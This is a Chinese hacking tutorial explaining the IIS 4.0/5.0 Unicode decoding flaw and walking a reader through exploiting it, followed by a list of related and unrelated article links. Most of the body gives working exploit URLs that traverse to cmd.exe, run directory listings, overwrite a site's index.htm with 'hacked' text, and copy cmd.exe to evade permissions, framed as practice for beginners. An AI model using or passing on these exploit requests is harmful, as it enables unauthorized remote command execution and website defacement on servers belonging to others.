IIS有十多种常见漏洞,但利用得最多的莫过于Unicode解析错误漏洞。微软IIS 4.0/5.0在Unicode字符解码的实现中存在一个安全漏洞,用户可以远程通过IIS执行任意命令。当IIS打开文件时,如果该文件名包含Unicode字符,它会对它进行解码。如果用户提供一些特殊的编码,将导致IIS错误地打开或者执行某些Web根目录以外的文件或程序。我们此文就着重来讲讲如何利用这个漏洞入侵IIS。

  对于IIS 4.0/5.0中文版,当IIS在收到的URL请求的文件名中,包含一个特殊的编码例如“%c1%hh”或者“%c0%hh”,它会首先将其解码变成“0xc10xhh”, 然后尝试打开这个文件。Windows系统认为“0xc10xhh”可能是Unicode编码,因此它会首先将其解码,如果 “0x00<= %hh < 0x40”的话,采用的解码的格式与下面的类似:

  %c1%hh->(0xc1-0xc0)*0x40+0xhh

  %c0%hh->(0xc0-0xc0)*0x40+0xhh

  因此,利用这种编码,我们可以构造很多字符,例如:

  %c1%1c->(0xc1-0xc0)*0x40+0x1c=0x5c='/'

  %c0%2f->(0xc0-0xc0)*0x40+0x2f=0x2f='\'

  攻击者可以利用这个漏洞来绕过IIS的路径检查,去执行或者打开任意的文件。此漏洞从中文版IIS4.0+SP6开始,还影响中文版WIN2000+IIS5.0、中文版WIN2000+IIS5.0+SP1。

  在NT4中“/”编码为“%c1%9c”;在英文版的WIN2000中为“%c0%af”;在中文版的WIN2000里是“%c1%1c”。此外还有多种编码,不逐一阐述,大家可以查查资料。本文均以WIN2000为例,其他类型请自行替换。

判断是否存在漏洞

  用该漏洞的扫描器来进行扫描是一种常见的方法。但我们知道,扫描并不是一个真正的黑客攻击行为,它只是一种寻找入口的方式。IIS的Unicode漏洞扫描器有很多,如RangeScan或者是unicodeScan都可以进行扫描以收集服务器信息。还有些综合性的扫描软件除了能发现Unicode漏洞之外,同时还能收集服务器的其它漏洞——X-Scan(下载地址:http://bitscn.com/upload/X-Scan-v3.1-cn.rar)。

  当然也可以在IE浏览器中输入以下语句来进行判断:

  http://aa.feedom.net/scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir

  学过DOS的应该可以看懂,其实就是利用当中的非法请求使我们连到system32下,如果Inetpub目录不和Winnt在同一盘符,或者目录级数有改动,就可能会引起请求失败。

  如果存在漏洞,那么在浏览区可看到如下类似信息:

  Directory of C:\inetpub\scripts

  2005-03-05 15:49 〈DIR〉 .

  2005-09-05 15:49 〈DIR〉 ..

  是不是有自己机器的感觉了,正点!要的就是这种感觉!

  cmd.exe相当于DOS里的command.com,因此,我们可以执行很多命令了!

  注意:在上面输入的判断语句中,“/c”后面的“+”,实际上是空格,请记牢!dir是DOS中的查看文件和目录命令,不懂DOS的朋友快去学习。

  看了上面的介绍,不用说大家也知道我们可以利用此漏洞对服务器展开攻击了!

修改网站首页

1.确定网站首页名称

  一般网站默认首页文件为index.htm、index.html、index.asp、default.htm、defautl.html或default.asp中的一个,我们可以通过输入不同的首页名称来测试并确定要修改的网站首页。在IE地址栏中输入以下三个网址:

  http://aa.feedom.net/index.html

  http://aa.feedom.net/default.asp

  http://aa.feedom.net/index.htm

  通过对上面三个网址的测试,我们发现只有第三个网址可以正常打开,说明这个网站的首页名称为index.htm。好了,那么我们就修改它吧!

2.修改原理

  最方便的方法是echo法:echo是一个系统命令,主要用于设置回应开关。

  echo test >c:\autoexec.bat就是把test加入autoexec.bat里并删除原有内容;

  echo timedate >>c:\autoexec.bat就是加入timedate但不删除原有内容。

  明白了吗?接下来我们就可以逍遥地修改了。

3.更改网站首页

  在IE中输入以下地址:

  http://aa.feedom.net/scripts/..%c1%1c../winnt/system32/cmd.exe?/c+echo+ HaHaThisismyhack +>c:\inetpub\wwwroot\index.htm

  IE浏览器返回来的结果可能为以下两种情况之一:

  1)HTTP 500 - 内部服务器错误

  2)The parameter is incorrect

  通过返回信息提示和对CMD的分析,可能是命令语句中参数错误,加入"符号再试试:

  1) http://aa.feedom.net/scripts/..%c1%1c../winnt/system32/cmd".exe?/c+echo+ HaHaThisismyhack +>c:\inetpub\wwwroot\index.htm

  表示把HaHaThisismyhack加入到index.htm文件并删除原有内容。

  2)http://aa.feedom.net/scripts/..%c1%1c../winnt/system32/cmd".exe?/c+echo+ by2005-3-9+>>c:\inetpub\wwwroot\index.htm

  表示把by2005-3-9加入到index.htm文件中,但不删除原有内容。

  如果正常,上面两条语句的回应应该都为CGI错误,这表示语句执行成功了,系统只是程序性地报个错误,不用理会它。

  现在再来打开网站aa.feedom.net看看吧,怎么样了,是不是被你改掉了?在实际操作中,由于目录权限等网管因素的存在,可能这个方法也会失效,这时,我们就可以用copy cmd.exe 为另一个.exe文件的方式解决,不过要记住路径,别出错了,例如:

  http://aa.feedom.net/scripts/..%c1%1c../winnt/system32/cmd.exe?/c+copy+cmd.exe+c:\a.exe

  http://aa.feedom.net/scripts/..%c1%1c../a.exe?/c+echo+hackedbycshu+>c:\inetpub\wwwroot\index.htm

  本文讲到的技术比较简单,很适合初学者研究和学习。也许你通过本文的实例方式,已经能修改我们提供的服务器首页了,但是在实际操作中,服务器环境必然有变化,而且障碍也许是你未曾研究或接触过的。所以只有牢牢地掌握了基础知识才有进阶的资本。大家可以根据文中提到的知识点查阅资料辅助学习。

IIS的Unicode漏洞攻击的更多相关文章

  1. PHP程序的常见漏洞攻击分析

    综述:PHP程序也不是固若金汤,随着PHP的广泛运用,一些黑客们也在无时不想找PHP的麻烦,通过PHP程序漏洞进行攻击就是其中一种.在节,我们将从全局变量,远程文件,文件上载,库文件,Session文 ...

  2. IIS短文件漏洞修复

    近期网站系统被扫描出漏洞:IIS短文件/文件夹漏洞 漏洞级别:中危漏洞 漏洞地址:全网站 漏洞描述:IIS短文件名泄露漏洞,IIS上实现上存在文件枚举漏洞,攻击者可利用此漏洞枚举获取服务器根目录中的文 ...

  3. IIS短文件漏洞(搬运整理)

    0x01. IIS短文件漏洞的由来 Microsoft IIS 短文件/文件夹名称信息泄漏最开始由Vulnerability Research Team(漏洞研究团队)的Soroush Dalili在 ...

  4. 从零学习安全测试,从XSS漏洞攻击和防御开始

    WeTest 导读 本篇包含了XSS漏洞攻击及防御详细介绍,包括漏洞基础.XSS基础.编码基础.XSS Payload.XSS攻击防御. 第一部分:漏洞攻防基础知识   XSS属于漏洞攻防,我们要研究 ...

  5. PHP通用的XSS攻击过滤函数,Discuz系统中 防止XSS漏洞攻击,过滤HTML危险标签属性的PHP函数

    XSS攻击在最近很是流行,往往在某段代码里一不小心就会被人放上XSS攻击的代码,看到国外有人写上了函数,咱也偷偷懒,悄悄的贴上来... 原文如下: The goal of this function ...

  6. [web安全]Web应用漏洞攻击分析与防范

    网站攻击主要分为以下几类: (1) sql注入攻击 SQL Injection:就是通过把SQL命令插入到Web表单递交或输入域名或页面请求的查询字符串,最终达到欺骗服务器执行恶意的SQL命令.它是利 ...

  7. 利用URLScan工具过滤URL中的特殊字符(仅针对IIS6)-- 解决IIS短文件名漏洞

    IIS短文件名漏洞在windows服务器上面非常常见,也就是利用“~”字符猜解暴露短文件/文件夹名,比如,采用这种方式构造URL:http://aaa.com/abc~1/.aspx,根据IIS返回的 ...

  8. 利用“参数赋值”防范SQL注入漏洞攻击

    <<年轻,无权享受>————送给每一个看到此文的同僚们 在这无精打采的炎夏 我躺在阳台上房东的旧沙发 回想几个月来遇到的问题 我不禁内心开始慌张喘着粗气 还有大把时间去打拼 没有到只 ...

  9. CentOS6.x服务器OpenSSH平滑7.3p版本——拒绝服务器漏洞攻击

    对于新安装的Linux服务器,默认OpenSSH及OpenSSL都不是最新的,需要进行升级以拒绝服务器漏洞攻击.本次介绍的是升级生产环境下CentOS6.x系列服务器平滑升级OpenSSL及OpenS ...

随机推荐

  1. centOs安装jdk1.7

    1,下载jdk-7u75-linux-x64.tar.gz,地址http://www.oracle.com/technetwork/java/javase/downloads/jdk7-downloa ...

  2. Cocos2d-x lua 游戏中的菜单(Menu)

    菜单相关类包含 菜单(Menu)类 和 菜单项( MenuItem )类 Menu类图(派生于Layer) ref <-- Node <-Layer <-- Menu MenuIte ...

  3. hibernate(五)核心开发接口与对象的三种状态

    本文链接:http://www.orlion.ml/37/ 一.Configuration 1.AnnotationConfiguration 2.进行配置信息的管理 3.configure()方法通 ...

  4. 20. 星际争霸之php设计模式--适配器模式

    题记==============================================================================本php设计模式专辑来源于博客(jymo ...

  5. MongoDB数据库基本用法

    show dbs:显示数据库列表  show collections:显示当前数据库中的集合(类似关系数据库中的表)  show users:显示用户 use <db name>:切换当前 ...

  6. Spring 定时任务1

    转载自 http://blog.csdn.net/prisonbreak_/article/details/49180307 Spring配置文件xmlns加入 xmlns:task="ht ...

  7. 10分钟制作自己的手机QQ

    1.注册个bmob.cn的账号:什么是bmob?bmob就是一个提供了基本后台服务器数据库操作的一个平台,你可以不用担心后台操作,使用起来很方便,降低了开发的门槛,提高了开发效率. 2.创建应用: 这 ...

  8. JAVA基础——编程练习(一)

    java编程练习(一) 编程题目: 请根据所学知识,编写一个 JAVA 程序,实现输出考试成绩的前三名. 要求: 1. 考试成绩已保存在数组 scores 中,数组元素依次为 89 , -23 , 6 ...

  9. 关于easyui的datagrid属性出现乱码问题

    今天遇到这个问题也是纠结了好久,经过在网上各种查询总结,得出以下经验: 1:网页字符集设置为UTF-8: <meta content="charset=UTF-8 " /&g ...

  10. javaWeb中request请求转发和response重定向

    1.访问资源 运用forward方法只能重定向到同一个Web应用程序中的一个资源. 而sendRedirect方法可以让你重定向到任何URL.  2.request.get Forward代码中的&q ...